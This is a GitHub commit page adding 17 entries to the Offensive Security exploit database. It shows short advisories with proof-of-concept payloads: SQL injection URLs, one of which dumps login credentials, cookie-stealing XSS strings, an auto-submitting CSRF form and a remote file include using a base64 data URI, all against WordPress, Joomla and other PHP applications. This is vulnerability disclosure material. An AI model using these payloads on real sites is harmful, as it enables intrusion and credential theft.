Skip to content

Commit 005f370

Browse files
author
Offensive Security
committed
DB: 2015-04-04
17 new exploits
1 parent a083492 commit 005f370

18 files changed

Lines changed: 251 additions & 0 deletions

File tree

‎files.csv‎

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -33028,3 +33028,20 @@ id,file,description,date,author,platform,type,port
3302833028
36617,platforms/php/webapps/36617.txt,"WordPress VideoWhisper Video Presentation 3.31.17 - Remote File Upload",2015-04-02,"Larry W. Cashdollar",php,webapps,80
3302933029
36618,platforms/php/webapps/36618.txt,"VideoWhisper Video Conference Integration 4.91.8 - Remote File Upload",2015-04-02,"Larry W. Cashdollar",php,webapps,80
3303033030
36619,platforms/linux/webapps/36619.txt,"Ericsson Drutt MSDP (Instance Monitor) - Directory Traversal",2015-04-02,"Anastasios Monachos",linux,webapps,0
33031+
36620,platforms/php/webapps/36620.txt,"WordPress YouSayToo auto-publishing Plugin 1.0 'submit' Parameter Cross Site Scripting Vulnerability",2012-01-24,"H4ckCity Security Team",php,webapps,0
33032+
36621,platforms/php/webapps/36621.txt,"glFusion 1.x SQL Injection",2012-01-24,KedAns-Dz,php,webapps,0
33033+
36622,platforms/windows/dos/36622.pl,"UltraPlayer 2.112 Malformed '.avi' File Denial of Service Vulnerability",2012-01-24,KedAns-Dz,windows,dos,0
33034+
36623,platforms/php/webapps/36623.txt,"Ultimate Locator 'radius' Parameter SQL Injection Vulnerability",2012-01-24,"Robert Cooper",php,webapps,0
33035+
36624,platforms/php/webapps/36624.txt,"Joomla! 'com_jesubmit' Component 'index.php' Arbitrary File Upload Vulnerability",2012-01-24,"Robert Cooper",php,webapps,0
33036+
36625,platforms/php/webapps/36625.txt,"OSClass 2.3.3 index.php sCategory Parameter SQL Injection",2012-01-25,"High-Tech Bridge SA",php,webapps,0
33037+
36626,platforms/php/webapps/36626.txt,"OSClass 2.3.3 index.php getParam() Function Multiple Parameter XSS",2012-01-25,"High-Tech Bridge SA",php,webapps,0
33038+
36627,platforms/php/webapps/36627.txt,"DClassifieds 0.1 final Cross Site Request Forgery Vulnerability",2012-01-25,"High-Tech Bridge SA",php,webapps,0
33039+
36628,platforms/php/webapps/36628.txt,"vBadvanced CMPS 3.2.2 'vba_cmps_include_bottom.php' Remote File Include Vulnerability",2012-01-25,PacketiK,php,webapps,0
33040+
36629,platforms/php/webapps/36629.txt,"Joomla! 'com_motor' Component 'cid' Parameter SQL Injection Vulnerability",2012-01-26,the_cyber_nuxbie,php,webapps,0
33041+
36630,platforms/php/webapps/36630.txt,"Joomla 'com_products' Component Multiple SQL Injection Vulnerabilities",2012-01-26,the_cyber_nuxbie,php,webapps,0
33042+
36631,platforms/php/webapps/36631.txt,"WordPress Slideshow Gallery Plugin 1.1.x 'border' Parameter Cross Site Scripting Vulnerability",2012-01-26,"Bret Hawk",php,webapps,0
33043+
36632,platforms/php/webapps/36632.txt,"xClick Cart 1.0.x 'shopping_url' Parameter Cross Site Scripting Vulnerability",2012-01-26,sonyy,php,webapps,0
33044+
36634,platforms/php/webapps/36634.txt,"Joomla! 'com_visa' Component Local File Include and SQL Injection Vulnerabilities",2012-01-28,the_cyber_nuxbie,php,webapps,0
33045+
36635,platforms/php/webapps/36635.txt,"Joomla! 'com_firmy' Component 'Id' Parameter SQL Injection Vulnerability",2012-01-30,the_cyber_nuxbie,php,webapps,0
33046+
36638,platforms/php/webapps/36638.txt,"Joomla! 'com_crhotels' Component 'catid' Parameter Remote SQL Injection Vulnerability",2012-01-31,the_cyber_nuxbie,php,webapps,0
33047+
36639,platforms/php/webapps/36639.txt,"Joomla! 'com_propertylab' Component 'id' Parameter Remote SQL Injection Vulnerability",2012-01-30,the_cyber_nuxbie,php,webapps,0

‎platforms/php/webapps/36620.txt‎

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
source: http://www.securityfocus.com/bid/51649/info
2+
3+
YouSayToo auto-publishing for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
4+
5+
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
6+
7+
YouSayToo auto-publishing 1.0 is vulnerable; other versions may also be affected.
8+
9+
http://www.example.com/[path]/wp-content/plugins/yousaytoo-auto-publishing-plugin/yousaytoo.php?submit=[xss]

‎platforms/php/webapps/36621.txt‎

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
source: http://www.securityfocus.com/bid/51650/info
2+
3+
glFusion is prone to multiple SQL-injection vulnerabilities and an arbitrary-file-upload vulnerability because it fails to sanitize user-supplied data.
4+
5+
Exploiting these issues could allow an attacker to compromise the application, execute arbitrary code, access or modify data, or exploit latent vulnerabilities in the underlying database.
6+
7+
glFusion 1.2.2 is vulnerable; other versions may also be affected.
8+
9+
http://www.example.com/[path]/profiles.php?sid=-1+UNION+SELECT+1,2,3,4,5,version(),NULL,6--
10+
http://www.example.com/[path]/article.php?story='1 AND 2=-1 UNION SELECT 1,2,3,4,5,version(),NULL,6--

‎platforms/php/webapps/36623.txt‎

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
source: http://www.securityfocus.com/bid/51653/info
2+
3+
Ultimate Locator is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
4+
5+
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
6+
7+
http://www.example.com/locator/results_list.php?order=id&pageno=2&showsurrounding=1&zip=94102&zipsearch=Go&radius=-50 UNION ALL SELECT 1,2,3,4,5,6,7,group_concat(username,0x3a,password) FROM login--

‎platforms/php/webapps/36624.txt‎

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
source: http://www.securityfocus.com/bid/51657/info
2+
3+
The 'com_jesubmit' component for Joomla! is prone to a vulnerability that lets attackers upload arbitrary files because the application fails to adequately sanitize user-supplied input.
4+
5+
An attacker can exploit this vulnerability to upload arbitrary code and run it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.
6+
7+
http://www.example.com/index.php?option=com_jesubmit&view=jesubmit&Itemid=[id]&lang=en

‎platforms/php/webapps/36625.txt‎

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
source: http://www.securityfocus.com/bid/51662/info
2+
3+
OSClass is prone to SQL-injection and cross-site scripting vulnerabilities.
4+
5+
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
6+
7+
OSClass 2.3.3 is vulnerable; other versions may also be affected.
8+
9+
http://www.example.com/index.php?page=search&sCategory[]=0%27%20OR%20%28SELECT%20MID%28version%28%29,1,1% 29%29=5%29%20d%20--%202

‎platforms/php/webapps/36626.txt‎

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
source: http://www.securityfocus.com/bid/51662/info
2+
3+
OSClass is prone to SQL-injection and cross-site scripting vulnerabilities.
4+
5+
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
6+
7+
OSClass 2.3.3 is vulnerable; other versions may also be affected.
8+
9+
http://www.example.com/index.php?page=search&sCity=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/scrip t%3E
10+
11+
http://www.example.com/index.php?page=search&sPattern=%3C/title%3E%3Cscript%3Ealert%28document.cookie%29; %3C/script%3E
12+
13+
http://www.example.com/index.php?page=search&sPriceMax=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/s cript%3E
14+
15+
http://www.example.com/index.php?page=search&sPriceMin=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/s cript%3E

‎platforms/php/webapps/36627.txt‎

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
source: http://www.securityfocus.com/bid/51671/info
2+
3+
DClassifieds is prone to a cross-site request-forgery vulnerability.
4+
5+
Exploiting this issue may allow a remote attacker to perform certain administrative actions and gain unauthorized access to the affected application. Other attacks are also possible.
6+
7+
DClassifieds 0.1 final is vulnerable; other versions may also be affected.
8+
9+
<form action="http://www.example.com/admin/settings/update/id/4" method="post">
10+
<input type="hidden" name="Settings[setting_name]" value="CONTACT_EMAIL">
11+
<input type="hidden" name="Settings[setting_value]" value="hacker@mail.com">
12+
<input type="hidden" name="Settings[setting_description]" value="Contact email">
13+
14+
<input type="hidden" name="Settings[setting_show_in_admin]" value="1">
15+
16+
<input type="hidden" name="yt0" value="Save">
17+
<input type="submit" id="btn">
18+
</form>
19+
<script>
20+
document.getElementById('btn').click();
21+
</script>

‎platforms/php/webapps/36628.txt‎

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
source: http://www.securityfocus.com/bid/51672/info
2+
3+
vBadvanced CMPS is prone to a remote file-include vulnerability because the application fails to sufficiently sanitize user-supplied input.
4+
5+
Exploiting this issue may allow an attacker to execute arbitrary local and remote scripts in the context of the affected application or obtain potentially sensitive information. This may result in a compromise of the application and the underlying system; other attacks are also possible.
6+
7+
vBadvanced CMPS 3.2.2 is vulnerable; other versions may also be affected.
8+
9+
http://www.example.com/vb/includes/vba_cmps_include_bottom.php?pages[pageid]=123&allowview=123&pages[type]=php_file&vba_cusmodid=123&pages[template]=data:;base64,PD9waHAgcGhwaW5mbygpO29iX2VuZF9mbHVzaCgpO2V4aXQ7Pz4=
10+
11+
http://www.example.com/vb/includes/vba_cmps_include_bottom.php?pages[pageid]=123&allowview=123&pages[type]=php_file&vba_cusmodid=123&pages[template]=ftp://user:pass@127.0.0.1/123.txt

‎platforms/php/webapps/36629.txt‎

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
source: http://www.securityfocus.com/bid/51673/info
2+
3+
The 'com_motor' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
4+
5+
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
6+
7+
http://www.example.com/index.php?option=com_motor&controller=motor&task=edit&cid[0]=[SQL Injection]

0 commit comments

Comments
 (0)